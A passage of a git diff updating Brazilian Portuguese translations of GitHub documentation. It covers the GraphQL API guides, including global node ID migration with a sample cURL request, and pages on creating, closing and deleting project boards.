-For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+Para obter mais informações sobre como começar com GraphQL, consulte "[Introdução ao GraphQL](/graphql/guides/introduction-to-graphql)" e "[Formando chamadas com o GraphQL](/graphql/guides/forming-calls-with-graphql)".
 
-## GraphQL fields and types for the Enterprise Accounts API
+## Campos e tipos do GraphQL para a API de Contas corporativas
 
-Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API.
+Aqui está uma visão geral das novas consultas, mutações e tipos definidos por esquema disponíveis para uso com a API de Contas corporativas.
 
-For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql).
+Para obter mais detalhes sobre as novas consultas, mutações e tipos definidos por esquema disponíveis para uso com a API de Contas corporativas, consulte a barra lateral com definições detalhadas do GraphQL a partir de qualquer [Página de referência do GraphQL](/graphql).
 
-You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)."
-For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
+Você pode acessar a documentação de referência de no explorador do GraphQL no GitHub. Para obter mais informações, consulte "[Usando o explorador](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). Para obter outras informações, como detalhes de autenticação e limite de taxa, confira os [guias](/graphql/guides).
diff --git a/translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md
index 7f22a366ab..caf39ec420 100644
--- a/translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md
+++ b/translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md
@@ -1,34 +1,34 @@
 ---
-title: Migrating GraphQL global node IDs
-intro: 'Learn about the two global node ID formats and how to migrate from the legacy format to the new format.'
+title: Migrando IDs de nós globais do GraphQL
+intro: Saiba mais sobre os dois formatos de ID do nó global e como fazer a migração do formato de legado para o novo formato.
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - API
-shortTitle: Migrating global node IDs
+shortTitle: Fazendo a migração de IDs de nó global
 ---
 
-## Background
+## Segundo plano
 
-The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary. 
+A API do GraphQL {% data variables.product.product_name %} é compatível atualmente com dois tipos de formatos de ID de nó global. O formato legado será obsoleto e substituído por um novo formato.  Este guia mostra como fazer a migração para o novo formato, se necessário.
 
-By migrating to the new format, you ensure that the response times of your requests remain consistent and small. You also ensure that your application continues to work once the legacy IDs are fully deprecated.
+Ao fazer a migraçãopara o novo formato, você garante que os tempos de resposta dos seus pedidos permaneçam consistentes e pequenos. Você também garante que seu aplicativo irá continuar funcionando assim que os IDs de legado estiverem totalmente desativados.
 
-To learn more about why the legacy global node ID format will be deprecated, see "[New global ID format coming to GraphQL](https://github.blog/2021-02-10-new-global-id-format-coming-to-graphql)."
+Para saber mais sobre o porquê o formato de ID de nó global antigo será desativado, consulte "[novo formato de ID global chegando ao GraphQL](https://github.blog/2021-02-10-new-global-id-format-coming-to-graphql)."
 
-## Determining if you need to take action
+## Determinando se você precisa tomar medidas
 
-You only need to follow the migration steps if you store references to GraphQL global node IDs.  These IDs correspond to the `id` field for any object in the schema.  If you don't store any global node IDs, then you can continue to interact with the API with no change.
+Você só precisa seguir as etapas de migração se armazenar referências para os IDs de nó global do GraphQL.  Essas IDs correspondem ao campo `id` para qualquer objeto no esquema.  Se você não armazenar nenhuma ID de nó global, você poderá continuar interagindo com a API sem alterações.
 
-Additionally, if you currently decode the legacy IDs to extract type information (for example, if you use the first two characters of `PR_kwDOAHz1OX4uYAah` to determine if the object is a pull request), your service will break since the format of the IDs has changed.  You should migrate your service to treat these IDs as opaque strings.  These IDs will be unique, therefore you can rely on them directly as references.
+Além disso, se você atualmente decodificar os IDs de legado para extrair informações de tipo (por exemplo, se você usar os dois primeiros caracteres de `PR_kwDOAHz1OX4uYAah` para determinar se o objeto é um pull request), seu serviço será interrompido, já que o formato dos IDs mudou.  Você deve fazer a migração do seu serviço para tratar esses IDs como strings opacas.  Esses IDs serão únicos. Portanto, você pode confiar neles diretamente como referências.
 
 
-## Migrating to the new global IDs
+## Fazendo a migração para os novos IDs globais
 
-To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date. 
+Para facilitar a migração para o novo formato de ID, você pode usar o cabeçalho `X-Github-Next-Global-ID` nas suas solicitações da API do GraphQL. O valor do cabeçalho `X-Github-Next-Global-ID` pode ser `1` ou `0`.  A definição do valor como `1` irá forçar a carga de resposta a sempre usar o novo formato de ID para qualquer objeto para o qual você solicitou o campo `id`.  Definir o valor como `0` irá reverter para o comportamento padrão, que deve mostrar o ID do legado ou novo ID, dependendo da data de criação do objeto.
 
-Here is an example request using cURL:
+Aqui está um exemplo de solicitação que usa cURL:
 
 ```
 $ curl \
@@ -38,14 +38,13 @@ $ curl \
   -d '{ "query": "{ node(id: \"MDQ6VXNlcjM0MDczMDM=\") { id } }" }'
 ```
 
-Even though the legacy ID `MDQ6VXNlcjM0MDczMDM=` was used in the query, the response will contain the new ID format:
+Embora o ID do legado `MDQ6VXNlcjM0MDMDM=` tenha sido usado na consulta, a resposta conterá o novo formato do ID:
 ```
 {"data":{"node":{"id":"U_kgDOADP9xw"}}}
 ```
-With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. 
-To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
+Com o cabeçalho `X-Github-Next-Global-ID`, você pode encontrar o novo formato de ID para os IDs de legado aos quais você faz referência no seu aplicativo. Você pode atualizar as referências com o ID recebido na resposta. Você deve atualizar todas as referências para os IDs de legado e usar o novo formato de ID para todas as solicitações subsequentes para a API. Para executar operações em massa, você pode usar aliases para enviar várias consultas de nó em uma chamada de API. Para obter mais informações, consulte "[a documentação do GraphQL](https://graphql.org/learn/queries/#aliases)".
 
-You can also get the new ID for a collection of items. For example, if you wanted to get the new ID for the last 10 repositories in your organization, you could use a query like this:
+Você também pode obter o novo ID para uma coleção de itens. Por exemplo, se você quiser obter o novo ID para os últimos 10 repositórios na sua organização, você poderia usar uma consulta como esta:
 ```
 {
   organization(login: "github") {
@@ -62,8 +61,8 @@ You can also get the new ID for a collection of items. For example, if you wante
 }
 ```
 
-Note that setting `X-Github-Next-Global-ID` to `1` will affect the return value of every `id` field in your query.  This means that even when you submit a non-`node` query, you will get back the new format ID if you requested the `id` field.
+Observe que a configuração `X-Github-Next-Global-ID` para `1` afetará o valor de retorno de cada campo de `id` na sua consulta.  Isto significa que, mesmo quando você envia uma consulta que não é de -`nó`, você receberá de volta o novo formato do ID se você solicitou o campo `id`.
 
-## Sharing feedback
+## Compartilhando feedback
 
-If you have any concerns about the rollout of this change impacting your app, please [contact {% data variables.product.product_name %}](https://support.github.com/contact) and include information such as your app name so that we can better assist you.
+Se você tiver algum problema sobre a implantação desta alteração de impacto no seu aplicativo, [entre em contato com {% data variables.product.product_name %}](https://support.github.com/contact) e inclua informações como o nome do seu aplicativo para que possamos ajudá-lo melhor.
diff --git a/translations/pt-BR/content/graphql/index.md b/translations/pt-BR/content/graphql/index.md
index 61e400a8c7..3ca7ad1644 100644
--- a/translations/pt-BR/content/graphql/index.md
+++ b/translations/pt-BR/content/graphql/index.md
@@ -1,23 +1,23 @@
 ---
-title: GitHub GraphQL API
-intro: 'To create integrations, retrieve data, and automate your workflows, use the {% data variables.product.prodname_dotcom %} GraphQL API. The {% data variables.product.prodname_dotcom %} GraphQL API offers more precise and flexible queries than the {% data variables.product.prodname_dotcom %} REST API.'
-shortTitle: GraphQL API
+title: API do GraphQL do GitHub
+intro: 'Para criar integrações, recuperar dados e automatizar seus fluxos de trabalho, use a API do GraphQL de {% data variables.product.prodname_dotcom %}. A API do GraphQL de {% data variables.product.prodname_dotcom %} oferece consultas mais precisas e flexíveis do que a API REST de {% data variables.product.prodname_dotcom %}.'
+shortTitle: API do GraphQL
 introLinks:
   overview: /graphql/overview/about-the-graphql-api
 featuredLinks:
   guides:
-  - /graphql/guides/forming-calls-with-graphql
-  - /graphql/guides/introduction-to-graphql
-  - /graphql/guides/using-the-explorer
+    - /graphql/guides/forming-calls-with-graphql
+    - /graphql/guides/introduction-to-graphql
+    - /graphql/guides/using-the-explorer
   popular:
-  - /graphql/overview/explorer
-  - /graphql/overview/public-schema
-  - /graphql/overview/schema-previews
-  - /graphql/guides/using-the-graphql-api-for-discussions
+    - /graphql/overview/explorer
+    - /graphql/overview/public-schema
+    - /graphql/overview/schema-previews
+    - /graphql/guides/using-the-graphql-api-for-discussions
   guideCards:
-  - /graphql/guides/migrating-from-rest-to-graphql
-  - /graphql/guides/managing-enterprise-accounts
-  - /graphql/guides/using-global-node-ids
+    - /graphql/guides/migrating-from-rest-to-graphql
+    - /graphql/guides/managing-enterprise-accounts
+    - /graphql/guides/using-global-node-ids
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/pt-BR/content/graphql/reference/mutations.md b/translations/pt-BR/content/graphql/reference/mutations.md
index 73f190ae96..f149583daa 100644
--- a/translations/pt-BR/content/graphql/reference/mutations.md
+++ b/translations/pt-BR/content/graphql/reference/mutations.md
@@ -1,5 +1,5 @@
 ---
-title: Mutations
+title: Mutações
 redirect_from:
   - /v4/mutation
   - /v4/reference/mutation
@@ -12,11 +12,11 @@ topics:
   - API
 ---
 
-## About mutations
+## Sobre as mutações
 
-Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`.
+Cada esquema de GraphQL tem um tipo de raiz para consultas e mutações. O [tipo de mutação](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) define operações do GraphQL que alteram dados no servidor. É análogo a executar verbos HTTP como `POST`, `PATCH` e `DELETE`.
 
-For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)."
+Para obter mais informações, consulte "[Sobre mutações](/graphql/guides/forming-calls-with-graphql#about-mutations)".
 
 <!-- this page is pre-rendered by scripts because it's too big to load dynamically -->
 <!-- see lib/graphql/static/prerendered-mutations.json -->
diff --git a/translations/pt-BR/content/issues/guides.md b/translations/pt-BR/content/issues/guides.md
index 1653a48f87..a7e2218ed6 100644
--- a/translations/pt-BR/content/issues/guides.md
+++ b/translations/pt-BR/content/issues/guides.md
@@ -1,7 +1,7 @@
 ---
-title: Issues guides
-shortTitle: Guides
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+title: Guias de problemas
+shortTitle: Guias
+intro: 'Saiba como usar {% data variables.product.prodname_github_issues %} para planejar e acompanhar seu trabalho.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -25,3 +25,4 @@ includeGuides:
   - /issues/using-labels-and-milestones-to-track-work/managing-labels
   - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests
 ---
+
diff --git a/translations/pt-BR/content/issues/index.md b/translations/pt-BR/content/issues/index.md
index 7b78e0992a..f34e95bfd5 100644
--- a/translations/pt-BR/content/issues/index.md
+++ b/translations/pt-BR/content/issues/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Issues
-shortTitle: GitHub Issues
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+title: Problemas do GitHub
+shortTitle: Problemas do GitHub
+intro: 'Saiba como usar {% data variables.product.prodname_github_issues %} para planejar e acompanhar seu trabalho.'
 introLinks:
   overview: /issues/tracking-your-work-with-issues/creating-issues/about-issues
   quickstart: /issues/tracking-your-work-with-issues/quickstart
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
index 833004a4f8..8fc7e162b4 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: About project boards
-intro: 'Project boards on {% data variables.product.product_name %} help you organize and prioritize your work. You can create project boards for specific feature work, comprehensive roadmaps, or even release checklists. With project boards, you have the flexibility to create customized workflows that suit your needs.'
+title: Sobre quadros de projeto
+intro: 'Os quadros de projeto no {% data variables.product.product_name %} ajudam você a organizar e priorizar seu trabalho. É possível criar quadros de projeto para trabalho de recurso específico, roteiros abrangentes ou, até mesmo, checklists de versão. Com os quadros de projeto, você tem a flexibilidade de criar fluxos de trabalho personalizados adequados às suas necessidades.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/about-project-boards
   - /articles/about-projects
@@ -17,58 +17,58 @@ topics:
 
 {% data reusables.projects.project_boards_old %}
 
-Project boards are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can drag and drop or use keyboard shortcuts to reorder cards within a column, move cards from column to column, and change the order of columns.
+Os quadros de projeto são compostos por problemas, pull requests e observações que são categorizados como cartões em colunas de sua escolha. É possível arrastar e soltar ou usar atalhos de teclado para reordenar cartões em uma coluna, mover cartões de coluna para coluna e alterar a ordem das colunas.
 
-Project board cards contain relevant metadata for issues and pull requests, like labels, assignees, the status, and who opened it. {% data reusables.project-management.edit-in-project %}
+Os cartões do quadro de projeto contêm metadados relevantes para problemas e pull requests, como etiquetas, responsáveis, o status e quem os abriu. {% data reusables.project-management.edit-in-project %}
 
-You can create notes within columns to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_location %}, or to add information related to the project board. You can create a reference card for another project board by adding a link to a note. If the note isn't sufficient for your needs, you can convert it to an issue. For more information on converting project board notes to issues, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+Você pode criar observações dentro de colunas para servirem de lembretes de tarefa, fazer referência a problemas e pull requests de qualquer repositório no {% data variables.product.product_location %} ou adicionar informações relacionadas ao quadro de projeto. É possível criar um cartão de referência para outro quadro de projeto adicionando um link a uma observação. Se a observação não for suficiente para suas necessidades, você poderá convertê-la em um problema. Para obter mais informações sobre como converter observações de quadro de projeto em problemas, consulte "[Adicionar observações a um quadro de projeto](/articles/adding-notes-to-a-project-board)".
 
-Types of project boards:
+Tipos de quadros de projeto:
 
-- **User-owned project boards** can contain issues and pull requests from any personal repository.
-- **Organization-wide project boards** can contain issues and pull requests from any repository that belongs to an organization.  {% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
-- **Repository project boards** are scoped to issues and pull requests within a single repository. They can also include notes that reference issues and pull requests in other repositories.
+- Os **quadros de projeto possuídos pelo usuário** podem conter problemas e pull requests de qualquer repositório pessoal.
+- Os **quadros de projeto de toda a organização** podem conter problemas e pull requests de qualquer repositório que pertença a uma organização.  {% data reusables.project-management.link-repos-to-project-board %} Para obter mais informações, consulte "[Vincular um repositório a um quadro de projeto](/articles/linking-a-repository-to-a-project-board)."
+- Os **quadros de projeto do repositório** abrangem problemas ou pull requests dentro de um único repositório. Eles também podem incluir observações que fazem referência a problemas e pull requests em outros repositórios.
 
-## Creating and viewing project boards
+## Criar e exibir quadros de projeto
 
-To create a project board for your organization, you must be an organization member. Organization owners and people with project board admin permissions can customize access to the project board.
+Para criar um quadro de projeto para sua organização, você deve ser um integrante da organização. Os proprietários da organização e as pessoas com permissões de administrador de quadro de projeto podem personalizar o acesso ao quadro de projeto.
 
-If an organization-owned project board includes issues or pull requests from a repository that you don't have permission to view, the card will be redacted.  For more information, see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)."
+Se um quadro de projeto possuído pela organização incluir problemas ou pull requests de um repositório que você não tem permissão para exibir, o cartão será removido.  Para obter mais informações, consulte "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)".
 
-The activity view shows the project board's recent history, such as cards someone created or moved between columns. To access the activity view, click **Menu** and scroll down.
+A exibição da atividade mostra o histórico recente do quadro de projeto, como cartões que alguém criou ou moveu entre colunas. Para acessar a exibição da atividade, clique em **Menu** e role para baixo.
 
-To find specific cards on a project board or view a subset of the cards, you can filter project board cards. For more information, see "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)."
+Para encontrar cartões específicos em um quadro de projeto ou exibir um subconjunto dos cartões, você pode filtrar cartões do quadro de projeto. Para obter mais informações, consulte "[Filtrar cartões em um quadro de projeto](/articles/filtering-cards-on-a-project-board)".
 
-To simplify your workflow and keep completed tasks off your project board, you can archive cards. For more information, see "[Archiving cards on a project board](/articles/archiving-cards-on-a-project-board)."
+Para simplificar seu fluxo de trabalho a manter as tarefas concluídas fora do quadro de projeto, você pode arquivar cartões. Para obter mais informações, consulte "[Arquivar cartões em um quadro de projeto](/articles/archiving-cards-on-a-project-board)."
 
-If you've completed all of your project board tasks or no longer need to use your project board, you can close the project board. For more information, see "[Closing a project board](/articles/closing-a-project-board)."
+Se você concluiu todas as tarefas do quadro de projeto ou não precisar mais usar o quadro de projeto, é possível fechá-lo. Para obter mais informações, consulte "[Fechar um quadro de projeto](/articles/closing-a-project-board)".
 
-You can also [disable project boards in a repository](/articles/disabling-project-boards-in-a-repository) or [disable project boards in your organization](/articles/disabling-project-boards-in-your-organization), if you prefer to track your work in a different way.
+Também é possível [desabilitar quadros de projeto em um repositório](/articles/disabling-project-boards-in-a-repository) ou [desabilitar quadros de projeto em sua organização](/articles/disabling-project-boards-in-your-organization), se preferir rastrear o trabalho de maneira diferente.
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Templates for project boards
+## Modelos para quadros de projeto
 
-You can use templates to quickly set up a new project board. When you use a template to create a project board, your new board will include columns as well as cards with tips for using project boards. You can also choose a template with automation already configured.
+É possível usar modelos para configurar rapidamente um novo quadro de projeto. Quando você usar um modelo para criar um quadro de projeto, o novo quadro incluirá colunas, bem como cartões com dicas para usar quadros de projeto. Você também pode escolher um modelo com automação já configurada.
 
-| Template | Description |
-| --- | --- |
-| Basic kanban | Track your tasks with To do, In progress, and Done columns |
-| Automated kanban | Cards automatically move between To do, In progress, and Done columns | 
-| Automated kanban with review | Cards automatically move between To do, In progress, and Done columns, with additional triggers for pull request review status |
-| Bug triage | Triage and prioritize bugs with To do, High priority, Low priority, and Closed columns |
+| Modelo                          | Descrição                                                                                                                                                                              |
+| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Kanban básico                   | Rastreie tarefas com colunas To do (Pendentes), In progress (Em andamento) e Done (Concluídas)                                                                                         |
+| Kanban automatizado             | Cartões são movidos automaticamente entre as colunas To do (Pendentes), In progress (Em andamento) e Done (Concluídas)                                                                 |
+| Kanban automatizado com revisão | Cartões são movidos automaticamente entre as colunas To do (Pendentes), In progress (Em andamento) e Done (Concluídos), com gatilhos adicionais para status de revisão de pull request |
+| Triagem de erros                | Faça a triagem e priorize erros com as colunas To do (Pendentes), High priority (Prioridade alta), Low priority (Prioridade baixa) e Closed (Fechados)                                 |
 
-For more information on automation for project boards, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+Para obter mais informações sobre automação para quadros de projeto, consulte "[Sobre automação para quadros de projeto](/articles/about-automation-for-project-boards)".
 
-![Project board with basic kanban template](/assets/images/help/projects/project-board-basic-kanban-template.png)
+![Quadro de projeto com modelo de kanban básico](/assets/images/help/projects/project-board-basic-kanban-template.png)
 
 {% data reusables.project-management.copy-project-boards %}
 
-## Further reading
+## Leia mais
 
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
-- "[Keyboard shortcuts](/articles/keyboard-shortcuts/#project-boards)"
+- "[Criar um quadro de projeto](/articles/creating-a-project-board)"
+- "[Editar um quadro de projeto](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
+- "[Copiar um quadro de projeto](/articles/copying-a-project-board)"{% endif %}
+- "[Adicionar problemas e pull requests a um quadro de projeto](/articles/adding-issues-and-pull-requests-to-a-project-board)"
+- "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)"
+- "[Atalhos de teclado](/articles/keyboard-shortcuts/#project-boards)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
index 4dbbbda931..57ca02e990 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Closing a project board
-intro: 'If you''ve completed all the tasks in a project board or no longer need to use a project board, you can close the project board.'
+title: Fechar um quadro de projeto
+intro: 'Se você concluiu todas as tarefas em um quadro de projeto ou não precisa mais usar um quadro de projeto, é possível fechá-lo.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board
   - /articles/closing-a-project
@@ -14,22 +14,21 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-When you close a project board, any configured workflow automation will pause by default.
+Quando você fecha um quadro de projeto, qualquer automação de fluxo de trabalho configurada é pausada por padrão.
 
-If you reopen a project board, you have the option to *sync* automation, which updates the position of the cards on the board according to the automation settings configured for the board. For more information, see "[Reopening a closed project board](/articles/reopening-a-closed-project-board)" or "[About automation for project boards](/articles/about-automation-for-project-boards)."
+Se você reabrir um quadro de projeto, existirá a opção de *sincronizar* a automação, o que atualiza a posição dos cartões no quadro de acordo com as configurações de automação definidas para o quadro. Para obter mais informações, consulte "[Reabrir um quadro de projeto fechado](/articles/reopening-a-closed-project-board)" ou "[Sobre automação para quadros de projeto](/articles/about-automation-for-project-boards)".
 
-1. Navigate to the list of project boards in your repository or organization, or owned by your user account.
-2. In the projects list, next to the project board you want to close, click {% octicon "chevron-down" aria-label="The chevron icon" %}.
-![Chevron icon to the right of the project board's name](/assets/images/help/projects/project-list-action-chevron.png)
-3. Click **Close**.
-![Close item in the project board's drop-down menu](/assets/images/help/projects/close-project.png)
+1. Acesse a lista de quadros de projetos no seu repositório ou organização ou pertencente à sua conta de usuário.
+2. Na lista de projetos, ao lado do quadro de projeto que deseja fechar, clique em {% octicon "chevron-down" aria-label="The chevron icon" %}. ![Ícone de divisa à direita do nome do quadro de projeto](/assets/images/help/projects/project-list-action-chevron.png)
+3. Clique em **Fechar**. ![Menu suspenso para fechar item no quadro de projeto](/assets/images/help/projects/close-project.png)
 
-## Further reading
+## Leia mais
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- "[Sobre quadros de projetos](/articles/about-project-boards)"
+- "[Excluir um quadro de projeto](/articles/deleting-a-project-board)"
+- "[Desabilitar quadros de projeto em um repositório](/articles/disabling-project-boards-in-a-repository)"
+- "[Desabilitar quadros de projeto na sua organização](/articles/disabling-project-boards-in-your-organization)"
+- "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
index 712cb6f12d..6b7b0b1e8f 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project board
-intro: 'Project boards can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.'
+title: Criar um quadro de projeto
+intro: 'Os quadros de projeto podem ser usados para criar fluxos de trabalho personalizados adequados às suas necessidades, como rastreamento e priorização de trabalho de recursos específicos, roteiros abrangentes ou, até mesmo, checklists de versão.'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board
   - /articles/creating-a-project
@@ -18,25 +18,25 @@ topics:
   - Project management
 type: how_to
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% data reusables.project-management.use-automated-template %}
 
 {% data reusables.project-management.copy-project-boards %}
 
-{% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %} Para obter mais informações, consulte "[Vincular um repositório a um quadro de projeto](/articles/linking-a-repository-to-a-project-board)."
 
-Once you've created your project board, you can add issues, pull requests, and notes to it. For more information, see "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)" and "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+Após a criação do quadro de projeto, você poderá adicionar a ele problemas, pull requests e observações. Para obter mais informações, consulte "[Adicionar problemas e pull requests a um quadro de projeto](/articles/adding-issues-and-pull-requests-to-a-project-board)" e "[Adicionar observações a um quadro de projeto](/articles/adding-notes-to-a-project-board)".
 
-You can also configure workflow automations to keep your project board in sync with the status of issues and pull requests. For more information, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+Também é possível configurar automações de fluxo de trabalho para manter seu quadro de projeto em sincronia com o status de problemas e pull requests. Para obter mais informações, consulte "[Sobre a automação para quadros de projeto](/articles/about-automation-for-project-boards)".
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Creating a user-owned project board
+## Criar um quadro de projeto de propriedade do usuário
 
 {% data reusables.profile.access_profile %}
-2. On the top of your profile page, in the main navigation, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/user-projects-tab.png)
+2. No topa da página do seu perfil, na navegação principal, clique em {% octicon "project" aria-label="The project board icon" %} **Projects** (Projetos). ![Aba Project (Projeto)](/assets/images/help/projects/user-projects-tab.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
 {% data reusables.project-management.choose-template %}
@@ -52,7 +52,7 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating an organization-wide project board
+## Criar um quadro de projeto em toda a organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -72,11 +72,10 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Creating a repository project board
+## Criar um quadro de projeto de repositório
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under your repository name, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/repo-tabs-projects.png)
+2. Abaixo do nome do repositório, clique em {% octicon "project" aria-label="The project board icon" %} **Projects** (Projetos). ![Aba Project (Projeto)](/assets/images/help/projects/repo-tabs-projects.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
 {% data reusables.project-management.choose-template %}
@@ -90,10 +89,10 @@ You can also configure workflow automations to keep your project board in sync w
 
 {% data reusables.project-management.edit-project-columns %}
 
-## Further reading
+## Leia mais
 
-- "[About projects boards](/articles/about-project-boards)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Closing a project board](/articles/closing-a-project-board)"
-- "[About automation for project boards](/articles/about-automation-for-project-boards)"
+- "[Sobre quadros de projetos](/articles/about-project-boards)"
+- "[Editar um quadro de projeto](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
+- "[Copiar um quadro de projeto](/articles/copying-a-project-board)"{% endif %}
+- "[Fechar um quadro de projeto](/articles/closing-a-project-board)"
+- "[Sobre a automação para quadros de projeto](/articles/about-automation-for-project-boards)"
diff --git a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
index 1c13437734..1a7379a123 100644
--- a/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
+++ b/translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a project board
-intro: You can delete an existing project board if you no longer need access to its contents.
+title: Excluir um quadro de projeto
+intro: Você pode excluir um quadro de projeto existente se já não precisa mais ter acesso ao conteúdo dele.
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/deleting-a-project-board
   - /articles/deleting-a-project
